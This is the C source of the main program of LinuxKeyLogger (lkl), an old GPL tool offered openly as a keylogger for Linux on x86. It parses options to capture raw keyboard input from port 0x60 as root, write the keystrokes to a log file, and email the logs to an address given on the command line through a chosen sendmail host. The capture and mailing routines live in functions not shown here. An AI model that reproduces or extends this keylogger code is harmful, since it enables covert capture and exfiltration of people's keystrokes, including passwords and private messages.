1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
|
/*
LinuxKeyLogger, lkl is a keylogger for x86-arch running under linux.
Developed by vl4d
Copyright (C) 2003 Carlo Comin
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "lkl.h"
int main(int argc, char *argv[])
{
char opt;
extern char *optarg;
struct lkl lkl;
memset(&lkl, 0, sizeof(lkl));
lkl.port = KEYBOARD_PORT;
if(getuid() || getgid()){
printf("Have to be root to perform a iopl()!\n");
exit(1);
}
if(argc == 1){
usage();
exit(1);
}
while((opt = getopt(argc, argv, "o:k:m:t:hlb")) != -1)
switch(opt){
case 'l': //start logging-procedure
lkl.log = 1;
break;
case 'o': //output file for logged datas
lkl.outfile = optarg;
break;
case 'k': //define keymap
lkl.km_file = optarg;
break;
case 'b': //debug output
lkl.debug = 1;
break;
case 'm': //send logged datas via e-mail
lkl.mail = 1;
lkl.mailargs = optarg;
lkl.host = "127.0.0.1";
break;
case 't': //sendmail's hostname. def is localhost
lkl.host = optarg;
break;
case 'h': //print help page
usage();
exit(0);
default:
usage();
exit(1);
}
if(lkl.log){
printf("\nStarted to log port 0x%02x. Keymap is %s. The logfile is %s.\n", lkl.port, lkl.km_file, lkl.outfile);
def_keymap(lkl.km_file);
start_log(&lkl);
}
return 0;
}
void usage()
{
printf("%s", BOLD);
printf("\n-- Linux Key Logger vers 0.9.0 --\n");
printf("\tusage:\n");
printf("\t\t-h this help\n");
printf("\t\t-l start to log the 0x60 port (keyboard)\n");
printf("\t\t-b Debug Mode.Perhaps it's usefoul :P\n");
printf("\t\t-k <km_file> set a keymap file\n");
printf("\t\t-o <o_file> set an output file\n");
printf("\t\t-m <email> send logs to <email> every 1k\n");
printf("\t\t-t <host> hostname for sendmail server. default is localhost\n");
printf("\nExample: lkl -l -k keymaps/it_km -o log.file\n\n");
printf("%s", NORMAL);
}
|